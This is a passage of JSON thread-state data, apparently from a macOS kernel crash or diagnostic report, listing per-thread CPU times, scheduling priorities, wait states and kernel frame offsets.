NINT"],"waitEvent":[1,8525094165945010611]},"470":{"continuation":[0,4394504],"userTime":6.458e-06,"systemTime":0,"id":470,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165946364547]},"506":{"continuation":[0,4394504],"userTime":0.69112275,"systemTime":0,"id":506,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165946574003]},"365":{"continuation":[0,4394504],"userTime":0.000119541,"systemTime":0,"id":365,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165945151011]},"454":{"continuation":[0,3548324],"userTime":1.9458e-05,"systemTime":0,"id":454,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[0,1777760]},"518":{"continuation":[0,4394504],"userTime":2.625e-06,"systemTime":0,"id":518,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165947026163]},"382":{"continuation":[0,4394504],"userTime":6.666e-06,"systemTime":0,"id":382,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165945367043]},"419":{"continuation":[0,4394504],"userTime":1.6666e-05,"systemTime":0,"id":419,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165942565699]},"507":{"continuation":[0,4394504],"userTime":1.167176666,"systemTime":0,"id":507,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165946572163]},"701":{"continuation":[0,18104],"userTime":2.041e-06,"systemTime":0,"id":701,"basePriority":92,"schedPriority":92,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[0,5861716]},"711":{"continuation":[0,354836],"systemTime":0,"id":711,"basePriority":81,"schedFlags":["TH_SFLAG_EAGERPREEMPT"],"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"userTime":0.020138625},"527":{"continuation":[0,4394504],"userTime":0.622587708,"systemTime":0,"id":527,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165946363987]},"277":{"continuation":[0,4394504],"userTime":1.6666e-05,"systemTime":0,"id":277,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944606243]},"366":{"continuation":[0,4394504],"userTime":1.0041e-05,"systemTime":0,"id":366,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944186515]},"519":{"continuation":[0,4394504],"userTime":2.481073416,"systemTime":0,"id":519,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165947026003]},"608":{"continuation":[0,4394504],"userTime":0.032053458,"systemTime":0,"id":608,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165947433203]},"269":{"continuation":[0,4394504],"userTime":6.791e-06,"systemTime":0,"id":269,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944607523]},"455":{"continuation":[0,3548324],"userTime":3.791e-06,"systemTime":0,"id":455,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[0,5878016]},"625":{"userTime":4.291e-06,"systemTime":0,"kernelFrames":[[0,242040],[0,228872],[0,195000],[0,3547520],[0,1572648],[0,1037184]],"id":625,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165946181187]},"464":{"continuation":[0,4394504],"userTime":0.020467083,"systemTime":0,"id":464,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165946366627]},"553":{"userTime":6.416e-06,"systemTime":0,"kernelFrames":[[0,242040],[0,228872],[6,50728],[6,38652],[0,4406240],[6,38008],[7,68208],[0,1037184]],"id":553,"basePriority":81,"schedPriority":81,"state":["TH_WAIT"],"waitEvent":[1,8525094165942274643]},"617":{"userTime":4e-06,"systemTime":0,"kernelFrames":[[0,242040],[0,228872],[0,195000],[0,3547520],[0,1572648],[0,1037184]],"id":617,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165946187267]},"456":{"userTime":0.409439208,"systemTime":0,"kernelFrames":[[0,242040],[0,228872],[0,195000],[0,3547520],[0,1568712],[0,1037184]],"id":456,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[0,5912240]},"294":{"continuation":[0,233532],"userTime":289.26851,"id":294,"basePriority":0,"schedPriority":0,"state":["TH_RUN","TH_IDLE"],"systemTime":0},"633":{"userTime":4.875e-06,"systemTime":0,"kernelFrames":[[0,242040],[0,228872],[0,195000],[0,3547520],[0,1572648],[0,1037184]],"id":633,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165947981315]},"634":{"userTime":3.875e-06,"systemTime":0,"kernelFrames":[[0,242040],[0,228872],[0,195000],[0,3547520],[0,3546808],[0,1567504],[0,1037184]],"id":634,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165947979435]},"537":{"continuation":[0,4394504],"userTime":0.000440541,"systemTime":0,"id":537,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165947167443]},"626":{"userTime":3.208e-06,"systemTime":0,"kernelFrames":[[0,242040],[0,228872],[0,195000],[0,3547520],[0,3546808],[0,1567504],[0,1037184]],"id":626,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165946179307]},"490":{"userTime":5.291e-06,"systemTime":0,"kernelFrames":[[0,242040],[0,228872],[0,195000],[0,3547520],[0,3546808],[3,28552],[0,1037184]],"id":490,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[3,50908]},"465":{"continuation":[0,4394504],"userTime":0.427751083,"systemTime":0,"id":465,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165946366867]},"393":{"continuation":[0,4394504],"userTime":0.688829708,"systemTime":0,"id":393,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165945311955]},"618":{"userTime":3.041e-06,"systemTime":0,"kernelFrames":[[0,242040],[0,228872],[0,195000],[0,3547520],[0,3546808],[0,1567504],[0,1037184]],"id":618,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165946185387]},"457":{"continuation":[0,3548324],"userTime":2.5e-06,"systemTime":0,"id":457,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[0,5870552]},"385":{"continuation":[0,4394504],"userTime":0.001907416,"systemTime":0,"id":385,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165945367203]},"449":{"continuation":[0,1231956],"userTime":0.002066041,"systemTime":0,"id":449,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[0,5877720]},"554":{"continuation":[0,4394504],"userTime":8.7208e-05,"systemTime":0,"id":554,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165947169763]},"1193":{"userTime":5.208e-06,"systemTime":0,"kernelFrames":[[0,242040],[0,228872],[0,195000],[0,3547520],[0,1572648],[0,1037184]],"id":1193,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165947978275]},"1194":{"userTime":3.875e-06,"systemTime":0,"kernelFrames":[[0,242040],[0,228872],[0,195000],[0,3547520],[0,3546808],[0,1567504],[0,1037184]],"id":1194,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165947976395]},"1204":{"userTime":0.228948166,"systemTime":0,"kernelFrames":[[0,242040],[0,228872],[0,195000],[0,3547520],[0,1572648],[0,1037184]],"id":1204,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165947975235]},"1205":{"userTime":0.174211625,"systemTime":0,"kernelFrames":[[0,242040],[0,228872],[0,195000],[0,3547520],[0,3546808],[0,1567504],[0,1037184]],"id":1205,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165947973355]},"458":{"continuation":[0,3586236],"userTime":0.037625,"systemTime":0,"id":458,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[0,5865664]},"297":{"userTime":0.000145958,"systemTime":0,"kernelFrames":[[0,242040],[0,228872],[0,195000],[0,4395292],[2,25224],[0,4406240],[2,25492],[0,1037184]],"id":297,"basePriority":81,"schedFlags":["TH_SFLAG_RW_PROMOTED"],"schedPriority":81,"state":["TH_WAIT"],"waitEvent":[1,8525094165944146163]},"1876":{"userTime":1.201009583,"systemTime":0,"kernelFrames":[[0,242040],[0,228872],[6,50728],[6,21660],[0,4406240],[6,44848],[9,25336],[9,26536],[0,1037184]],"id":1876,"basePriority":81,"schedPriority":81,"state":["TH_WAIT"],"waitEvent":[1,8525094165941857747]},"1877":{"userTime":0.522109958,"systemTime":0,"kernelFrames":[[0,242040],[0,228872],[0,195000],[0,4395292],[6,26244],[6,18924],[0,4406240],[6,29300],[9,27768],[0,1037184]],"id":1877,"basePriority":81,"schedFlags":["TH_SFLAG_RW_PROMOTED"],"schedPriority":81,"state":["TH_WAIT"],"waitEvent":[1,8525094165945220427]},"378":{"userTime":4.136501916,"systemTime":0,"kernelFrames":[[0,242040],[0,228872],[0,4394736],[0,1037184]],"id":378,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165942324259]},"492":{"userTime":0.022129541,"systemTime":0,"kernelFrames":[[0,242040],[0,228872],[0,195408],[0,3547448],[0,3546808],[4,17424],[0,1037184]],"id":492,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[4,34168]},"395":{"userTime":0.047573125,"systemTime":0,"kernelFrames":[[0,242040],[0,228872],[0,4394736],[0,1037184]],"id":395,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165945153651]},"459":{"continuation":[0,3582396],"userTime":1.3083e-05,"systemTime":0,"id":459,"basePriority":95,"schedPriority":95,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[0,5865624]},"298":{"continuation":[0,4394504],"userTime":0.000736583,"systemTime":0,"id":298,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944684627]},"1446":{"userTime":4.875e-06,"systemTime":0,"kernelFrames":[[0,242040],[0,228872],[0,195000],[0,3547520],[0,1572648],[0,1037184]],"id":1446,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165973076451]},"629":{"userTime":2.708e-06,"systemTime":0,"kernelFrames":[[0,242040],[0,228872],[0,195000],[0,3547520],[0,1572648],[0,1037184]],"id":629,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165947984355]},"299":{"continuation":[0,4394504],"userTime":9.791e-06,"systemTime":0,"id":299,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944684307]},"469":{"continuation":[0,4394504],"userTime":4.416e-06,"systemTime":0,"id":469,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165946365347]},"1447":{"userTime":3.583e-06,"systemTime":0,"kernelFrames":[[0,242040],[0,228872],[0,195000],[0,3547520],[0,3546808],[0,1567504],[0,1037184]],"id":1447,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165973074571]},"486":{"continuation":[0,4394504],"userTime":0.752779125,"systemTime":0,"id":486,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165941835331]},"478":{"continuation":[0,4394504],"userTime":0.9775718329999999,"systemTime":0,"id":478,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165946363347]},"1688":{"userTime":9.707999999999999e-06,"systemTime":0,"kernelFrames":[[0,242040],[0,228872],[0,195000],[0,3547520],[0,1572648],[0,1037184]],"id":1688,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165973073411]},"9347":{"continuation":[0,354836],"userTime":0.104668666,"id":9347,"basePriority":93,"schedPriority":93,"state":["TH_WAIT","TH_UNINT"],"systemTime":0},"585":{"continuation":[0,4394504],"userTime":2.524997166,"systemTime":0,"id":585,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165947355539]},"489":{"continuation":[0,4394504],"userTime":6.125e-06,"systemTime":0,"id":489,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165946575123]},"1689":{"userTime":7.1416e-05,"systemTime":0,"kernelFrames":[[0,242040],[0,228872],[0,195000],[0,3547520],[0,3546808],[0,1567504],[0,1037184]],"id":1689,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165973071531]},"692":{"continuation":[0,798224],"userTime":0.007697375,"systemTime":0,"id":692,"basePriority":92,"schedPriority":92,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[0,5764656]},"684":{"continuation":[0,4394504],"userTime":7.083e-06,"systemTime":0,"id":684,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165948691715]},"498":{"userTime":0.020214958,"systemTime":0,"kernelFrames":[[0,242040],[0,228872],[0,195408],[0,3547448],[0,3546808],[5,6988],[0,1037184]],"id":498,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[5,17312]},"587":{"continuation":[0,4394504],"userTime":0.065893125,"systemTime":0,"id":587,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165947434563]},"693":{"continuation":[0,795476],"userTime":0.050074875,"systemTime":0,"id":693,"basePriority":31,"schedPriority":31,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[0,795476]},"677":{"continuation":[0,4394504],"userTime":9.125e-06,"systemTime":0,"id":677,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165948693395]},"694":{"userTime":3.9375e-05,"systemTime":0,"id":694,"basePriority":81,"schedPriority":81,"kernelFrames":[[0,242040],[0,228872],[0,95968],[0,3967640],[0,1037184]],"state":["TH_WAIT"]},"9051":{"continuation":[0,354836],"userTime":0.138108333,"id":9051,"basePriority":93,"schedPriority":93,"state":["TH_WAIT","TH_UNINT"],"systemTime":0},"695":{"continuation":[0,765480],"userTime":2.5e-06,"systemTime":0,"id":695,"basePriority":31,"schedPriority":31,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[0,765480]},"696":{"continuation":[0,751568],"userTime":2.2e-05,"systemTime":0,"id":696,"basePriority":92,"schedPriority":92,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[0,5673712]},"9434":{"continuation":[0,354836],"userTime":0.101447125,"id":9434,"basePriority":93,"schedPriority":93,"state":["TH_WAIT","TH_UNINT"],"systemTime":0},"9052":{"continuation":[0,354836],"userTime":0.138120375,"id":9052,"basePriority":93,"schedPriority":93,"state":["TH_WAIT","TH_UNINT"],"systemTime":0},"697":{"continuation":[0,556344],"userTime":0.110070541,"systemTime":0,"id":697,"basePriority":92,"schedPriority":92,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[0,5862496]},"698":{"continuation":[0,801548],"userTime":0.8259880000000001,"systemTime":0,"id":698,"basePriority":92,"schedPriority":92,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[0,5764608]},"699":{"continuation":[0,13004],"userTime":1.4416e-05,"systemTime":0,"id":699,"basePriority":92,"schedPriority":92,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[0,5657968]},"101":{"continuation":[0,764460],"userTime":2.418294583,"systemTime":0,"id":101,"basePriority":92,"schedPriority":92,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[0,5863332]},"110":{"continuation":[0,4394504],"userTime":2.2458e-05,"systemTime":0,"id":110,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165941836611]},"102":{"continuation":[0,233532],"userTime":268.457899833,"id":102,"basePriority":0,"schedPriority":0,"state":["TH_RUN","TH_IDLE"],"systemTime":0},"1541":{"continuation":[0,4394504],"userTime":4.583e-06,"systemTime":0,"id":1541,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165971212563]},"103":{"continuation":[0,235340],"userTime":0.09219962499999999,"systemTime":0,"id":103,"basePriority":95,"schedPriority":95,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[0,235340]},"104":{"continuation":[0,338372],"userTime":0.293145666,"systemTime":0,"id":104,"basePriority":80,"schedPriority":80,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[0,5566032]},"113":{"continuation":[0,4394504],"userTime":0.257932041,"systemTime":0,"id":113,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165941833731]},"105":{"continuation":[0,339392],"userTime":0.002346916,"systemTime":0,"id":105,"basePriority":93,"schedPriority":93,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[0,5566064]},"300":{"continuation":[0,4394504],"userTime":1.1625e-05,"systemTime":0,"id":300,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944683907]},"106":{"userTime":0.000410708,"systemTime":0,"kernelFrames":[[0,242040],[0,228872],[0,402492],[0,1037184]],"id":106,"basePriority":95,"schedPriority":95,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094170660673187]},"301":{"continuation":[0,4394504],"userTime":8.625e-06,"systemTime":0,"id":301,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944506963]},"140":{"continuation":[0,4394504],"userTime":0.000345916,"systemTime":0,"id":140,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165942508931]},"107":{"userTime":0.003524166,"systemTime":0,"kernelFrames":[[0,242040],[0,228872],[0,402492],[0,1037184]],"id":107,"basePriority":95,"schedPriority":95,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094170660672531]},"302":{"continuation":[0,4394504],"userTime":6.333e-06,"systemTime":0,"id":302,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944295507]},"141":{"continuation":[0,4394504],"userTime":0.012135208,"systemTime":0,"id":141,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165942509091]},"230":{"continuation":[0,4394504],"userTime":0.005906,"systemTime":0,"id":230,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944185395]},"133":{"continuation":[0,4394504],"userTime":1.0333e-05,"systemTime":0,"id":133,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165942740067]},"108":{"continuation":[0,354168],"userTime":0.003336208,"id":108,"basePriority":94,"schedPriority":94,"state":["TH_WAIT","TH_UNINT"],"systemTime":0},"400":{"continuation":[0,4394504],"userTime":1.525e-05,"systemTime":0,"id":400,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165945284323]},"303":{"continuation":[0,4394504],"userTime":8.333e-06,"systemTime":0,"id":303,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165942563459]},"231":{"continuation":[0,4394504],"userTime":6.541e-06,"systemTime":0,"id":231,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944185155]},"109":{"userTime":0.002736,"systemTime":0,"kernelFrames":[[0,242040],[0,228872],[0,940296],[0,1037184]],"id":109,"basePriority":95,"schedPriority":95,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[0,5868720]},"223":{"continuation":[0,4394504],"userTime":8.165999999999999e-06,"systemTime":0,"id":223,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165942563779]},"401":{"continuation":[0,4394504],"userTime":0.011457875,"systemTime":0,"id":401,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165945008211]},"151":{"continuation":[0,4394504],"userTime":7.75e-06,"systemTime":0,"id":151,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165942510211]},"304":{"continuation":[0,4394504],"userTime":8.5e-06,"systemTime":0,"id":304,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944187235]},"143":{"continuation":[0,4394504],"userTime":4.3791e-05,"systemTime":0,"id":143,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165942509651]},"232":{"continuation":[0,4394504],"userTime":6.375e-06,"systemTime":0,"id":232,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944184915]},"240":{"continuation":[0,4394504],"userTime":0.181340333,"systemTime":0,"id":240,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944297027]},"402":{"continuation":[0,4394504],"userTime":1.5583e-05,"systemTime":0,"id":402,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165945008771]},"241":{"continuation":[0,4394504],"userTime":0.167477583,"systemTime":0,"id":241,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944296627]},"305":{"continuation":[0,4394504],"userTime":9.541000000000001e-06,"systemTime":0,"id":305,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944683747]},"144":{"continuation":[0,4394504],"userTime":6e-06,"systemTime":0,"id":144,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165942510051]},"233":{"continuation":[0,4394504],"userTime":6.875e-06,"systemTime":0,"id":233,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944184675]},"411":{"continuation":[0,4394504],"userTime":5.666e-06,"systemTime":0,"id":411,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165945595699]},"403":{"continuation":[0,4394504],"userTime":0.020626625,"systemTime":0,"id":403,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944187155]},"242":{"continuation":[0,4394504],"userTime":0.271712625,"systemTime":0,"id":242,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944296227]},"331":{"userTime":0.042782791,"systemTime":0,"kernelFrames":[[0,242040],[0,228872],[0,4394736],[0,1037184]],"id":331,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944186675]},"145":{"continuation":[0,4394504],"userTime":5.416e-06,"systemTime":0,"id":145,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165942510371]},"234":{"continuation":[0,4394504],"userTime":0.003104041,"systemTime":0,"id":234,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944184435]},"420":{"continuation":[0,4394504],"userTime":7.916e-06,"systemTime":0,"id":420,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165945732067]},"412":{"continuation":[0,4394504],"userTime":0.000124291,"systemTime":0,"id":412,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165945595299]},"226":{"continuation":[0,4394504],"userTime":8.457999999999999e-06,"systemTime":0,"id":226,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944186835]},"501":{"continuation":[0,4394504],"userTime":2.132324666,"systemTime":0,"id":501,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165946573923]},"404":{"continuation":[0,4394504],"userTime":0.000167666,"systemTime":0,"id":404,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165945363683]},"154":{"continuation":[0,4394504],"userTime":0.335061458,"systemTime":0,"id":154,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165942511891]},"243":{"continuation":[0,4394504],"userTime":6.5e-06,"systemTime":0,"id":243,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944295747]},"421":{"continuation":[0,4394504],"userTime":0.054452958,"systemTime":0,"id":421,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165945731587]},"235":{"continuation":[0,4394504],"userTime":0.150617416,"systemTime":0,"id":235,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944184195]},"251":{"continuation":[0,4394504],"userTime":0.057546666,"systemTime":0,"id":251,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944506003]},"138":{"continuation":[0,750976],"userTime":3.725e-05,"systemTime":0,"id":138,"basePriority":95,"schedPriority":95,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[0,5862824]},"227":{"continuation":[0,4394504],"userTime":7.125e-06,"systemTime":0,"id":227,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944186115]},"341":{"continuation":[0,4394504],"userTime":0.072229291,"systemTime":0,"id":341,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165945154371]},"405":{"continuation":[0,4394504],"userTime":1.4625e-05,"systemTime":0,"id":405,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165945365523]},"244":{"continuation":[0,4394504],"userTime":0.000225041,"systemTime":0,"id":244,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944408499]},"252":{"continuation":[0,4394504],"userTime":7.333e-06,"systemTime":0,"id":252,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944505123]},"147":{"continuation":[0,4394504],"userTime":7.958000000000001e-06,"systemTime":0,"id":147,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165942510611]},"261":{"continuation":[0,4394504],"userTime":8.250000000000001e-06,"systemTime":0,"id":261,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944609363]},"236":{"continuation":[0,4394504],"userTime":0.275329083,"systemTime":0,"id":236,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944298467]},"139":{"continuation":[0,3548324],"userTime":1.0208e-05,"systemTime":0,"id":139,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[0,5887360]},"253":{"continuation":[0,4394504],"userTime":0.018037791,"systemTime":0,"id":253,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944504563]},"228":{"continuation":[0,4394504],"userTime":0.019484375,"systemTime":0,"id":228,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944185875]},"406":{"continuation":[0,4394504],"userTime":0.003862666,"systemTime":0,"id":406,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165945366403]},"414":{"continuation":[0,4394504],"userTime":0.008070416,"systemTime":0,"id":414,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165945596179]},"245":{"continuation":[0,4394504],"userTime":1.0666e-05,"systemTime":0,"id":245,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944407539]},"422":{"continuation":[0,4394504],"userTime":0.00409225,"systemTime":0,"id":422,"basePriority":97,"schedPriority":97,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165945731187]},"237":{"continuation":[0,4394504],"userTime":0.023695291,"systemTime":0,"id":237,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165944297907]},"423":{"continuation":[0,4394504],"userTime":1.6833e-05,"systemTime":0,"id":423,"basePriority":81,"schedPriority":81,"state":["TH_WAIT","TH_UNINT"],"waitEvent":[1,8525094165945730787]},"415":{"continuation":[0,4394504],"userTime":0.00017975,"systemTime":0,"id":415,"basePriority":81,"schedPriority":81,"state":["TH_